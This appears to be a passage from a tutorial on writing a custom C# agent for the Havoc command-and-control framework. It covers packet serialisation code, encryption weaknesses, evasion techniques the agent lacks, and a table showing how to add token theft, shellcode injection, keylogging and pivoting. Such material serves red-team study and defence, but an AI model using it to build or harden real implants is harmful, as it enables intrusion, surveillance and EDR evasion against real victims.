Teamserver side: The result handler in handlers.go reads CMD and REQID from the plaintext header before decrypting the body, which is why those two fields must be unencrypted. CMD routes the packet to the right handler (output parser, FS parser, PROC parser). REQID correlates the result to the originating task so the output appears in the correct operator console pane. The DEMON_OUTPUT parser expects the two-length-prefix structure. The outer length covers inner length field plus data, inner length covers just the data bytes.
// SendOutput — wraps raw bytes in DEMON_OUTPUT two-level prefix
uint len = (uint)output.Length;
WriteBE32(plain, 4 + len);   // OUTER: covers INNER field + data
WriteBE32(plain, len);       // INNER: covers data only
plain.Write(output, ...);
SendResultPacket(CMD_OUTPUT, reqId, plain.ToArray());

// SendResultPacket — encrypts and assembles the wire packet
byte[] enc = AesCtr(aesPlain, _key, _iv); // fixed session IV
WriteBE32(ms, 0);           // SIZE placeholder
WriteBE32(ms, DEMON_MAGIC);
WriteBE32(ms, _id);
WriteBE32(ms, cmd);         // PLAINTEXT — server reads before decrypt
WriteBE32(ms, reqId);       // PLAINTEXT — correlates output to task
ms.Write(enc, ...);         // AES-encrypted payload
// Backfill SIZE = total bytes after the SIZE field, then POST

The SIZE field is a byte count of everything after itself in the packet. It is assembled last, the packet is built into a MemoryStream, converted to a byte array, and the first four bytes are overwritten with the computed size. CMD and REQID sitting in plaintext before the AES block is a deliberate protocol design decision: the teamserver can route and correlate packets without decrypting them first, which keeps the hot path fast on the server side when many agents are beaconing concurrently.

12: Write / Read Helpers: The Serialisation Layer

Teamserver side: Go's packer.go writes tasks using binary.LittleEndian.PutUint32 and reads agent results using binary.BigEndian. This means the direction of traffic determines the endianness, the C# helpers are split into write helpers (big-endian, agent→server) and read helpers (little-endian, server→agent).
// ── Write helpers: agent → server, all big-endian ──
WriteBE32(s, v)     // 4-byte big-endian uint (used for headers and integers)
WriteBE64(s, v)     // 8-byte big-endian ulong (file sizes, timestamps)
WriteBEStr(s, str)  // ASCII bytes + [LEN 4BE]  — hostname, username, domain, IP
WriteBEWStr(s, str) // UTF-16 LE bytes + [LEN 4BE] — used for process path in registration
WriteU16String(s, str) // UTF-16 LE bytes + [LEN 4BE] — used for all other wide strings
WriteBEBytes(s, b)  // raw bytes + [LEN 4BE]  — file content, chunk data

// ── Read helpers: server → agent, all little-endian ──
ReadLE32(buf, off)        // 4-byte LE uint — CMD, REQID, LEN, sub-commands
ReadLeUtf16(buf, ref off) // LE length-prefixed UTF-16 string — paths, arguments

WriteBEWStr and WriteU16String produce the same bytes, both write UTF-16 LE content with a big-endian length prefix but WriteBEWStr is used only for the process path in the registration payload, where the naming makes the code easier to follow against the teamserver parser. Getting the string encoding wrong (sending UTF-8 where UTF-16 is expected, or a wrong endianness on the length field) is one of the most common reasons a custom agent registers successfully but displays garbled text in the operator client.


8: Known Gaps and What to Build Next

A gap you filled yourself is a technique you understand end-to-end. A gap you copied from a GitHub repository is a technique you are trusting without verification. The cards below name what is missing and why some are OPSEC problems that matter before any operational use, others are features worth building if this becomes a real tool rather than a learning exercise.

OPSEC Critical: No transport encryption (HTTP)

The agent runs over plain HTTP by default. On plain HTTP the AES session key and IV are transmitted in the registration packet in cleartext; subsequent packets are AES-encrypted but trivially decryptable because the key is already exposed. Set HTTPS = true to wrap the entire exchange in TLS, hiding the key material from passive interception. The code currently disables certificate validation (accepts any cert, including self-signed); for production use, replace that callback with certificate pinning to also authenticate the server.

OPSEC Critical: AES keystream reuse

The AES-CTR counter resets to the original session IV on every call, so every packet uses the same keystream. This is a many-time pad: XOR any two captured ciphertexts to recover the XOR of their plaintexts, which leaks structure and in favourable cases recovers plaintext entirely. Separately, on plain HTTP the AES key and IV travel in cleartext in the registration packet header (covered in the HTTP transport card above) — an observer who captures that packet can simply regenerate the full keystream from the exposed key and IV and decrypt every subsequent packet directly. These are two independent weaknesses: the many-time pad applies even when the transport is encrypted; the key exposure applies only on HTTP. The fix for the first is to generate a fresh random IV per packet so the keystream never repeats.

Evasion: Plaintext config strings in the binary

Running strings against the agent binary immediately reveals the C2 IP address, port, and HTTP User-Agent. A hardened implant stores these in an XOR or AES-encrypted blob that decodes at runtime, zeroes from memory after parsing, and never exists in readable form on disk or in a static scan.

Evasion: No NTDLL unhooking

Modern EDR products patch the first bytes of functions in ntdll.dll to redirect execution through their analysis code before the real syscall fires. Techniques such as GhostFart and Perun's Fart remap a clean copy of ntdll from disk before any sensitive API call, removing those hooks entirely. This agent makes no attempt to unhook, which is one of the areas where EDR controls may trigger.

Evasion: No sleep obfuscation

During the sleep interval between check-ins, the agent's code and decrypted configuration sit readable in RAM. A memory scanner can find and classify the agent by its in-memory signature even when it is doing nothing. Techniques such as Ekko, Foliage, and Zilean encrypt the agent's own memory before sleeping and decrypt it before waking.

Features: Partial runtime reconfiguration

The agent handles CMD_SLEEP (11), which updates both the sleep interval and jitter percentage at runtime without redeployment. The teamserver also supports a CONFIG command (ID 2500) that can update kill date and other parameters — the agent has no handler for that command. Adding it requires only an agent-side change with no teamserver modifications needed.

Missing: Many operator commands have no handler

Any command the agent does not handle is silently ignored thus the operator sees no output and no error. This affects a large portion of what Demon supports: file download and upload, token operations, shellcode injection, in-memory assembly execution, screenshots, keylogging, SOCKS5 proxy, pivoting, BOF execution, and background jobs, among others. The full list is in the capability table below. File download (FS sub-command 2) is a representative example of the pattern: the protocol expects a three-phase chunked sequence, an Open packet carrying the file ID and total size, one or more Write packets of up to 512 KB each, and a Close packet signalling completion or error.

Reliability: Single C2 host with no failover

The agent targets a single hardcoded C2 address and retries indefinitely on failure, but it has no failover path. If that host becomes permanently unavailable the agent will loop retrying the same dead endpoint until the process is killed. A production implant maintains a priority-ordered list of C2 hosts and rotates to the next one after a configurable number of consecutive failures.

Missing Capabilities: Operational Gaps

The agent handles: sleep and jitter updates (CMD_SLEEP), filesystem operations (dir, cd, pwd, mkdir, remove, cat, cp, mv), process listing (CMD_PROC_LIST), process creation with output capture and a 30-second watchdog, process kill, and exit. Everything else Demon supports is absent. The table below maps each missing capability to its Havoc operator command so a developer knows exactly what to research and implement next.

Capability Operator Command What to Implement
Token Operations token steal / make / list / revert / getuid Handle CMD_TOKEN sub-commands: steal a token from a target PID via OpenProcessToken, impersonate it with ImpersonateLoggedOnUser, revert with RevertToSelf, and enumerate available tokens. Required for any privilege escalation or lateral movement workflow.
Shellcode Injection inject / shinject Open a remote process, allocate executable memory with VirtualAllocEx, write shellcode via WriteProcessMemory, and spawn a thread with CreateRemoteThread. The harder version uses indirect syscalls or NtCreateThreadEx to avoid EDR hooks on the thread-creation path.
In-Memory .NET Execution execute-assembly Host the CLR in-process via ICLRRuntimeHost, load the assembly bytes from the MEM_FILE staging buffer, and execute its entry point. Stdout must be redirected through a pipe so output returns to the operator. Requires MEM_FILE support to be implemented first.
Inline PE Execution inline-execute Manually map a PE into memory: parse the headers, allocate sections with correct permissions, apply base relocations, resolve imports, and call the entry point, all without touching disk. This is the reflective DLL loading technique. Crash isolation is the main challenge; a bad PE can kill the agent process.
Screenshot screenshot Capture the desktop with BitBlt from the screen DC into a memory DC, encode as PNG or BMP, and return via CMD_OUTPUT. In C# the entire capture fits in a few lines with Graphics.CopyFromScreen and Bitmap.Save. The operator client renders it inline.
Keylogging keylog Install a low-level keyboard hook via SetWindowsHookEx(WH_KEYBOARD_LL) on a background thread. Buffer keystrokes with the active window title for context and flush the log to the operator on each check-in via CMD_OUTPUT. Hook must be removed cleanly on agent exit.
Socks5 Proxy socks The teamserver opens a local Socks5 listener and tunnels TCP connections through the agent's HTTP channel. The agent must handle CMD_SOCKET sub-commands to open connections, relay data, and close sockets on demand. Each connection is identified by a channel ID. This turns the agent into a full network proxy for the operator's tools.
SMB / TCP Pivot pivot Connect to another Demon agent on an internal host that has no direct internet access via a named pipe or TCP socket, relay its traffic through this agent's HTTP channel, and make it appear as a child session in the teamserver. Requires CMD_PIVOT handling and the SMB named-pipe protocol that Demon's PackageTransmitAll uses.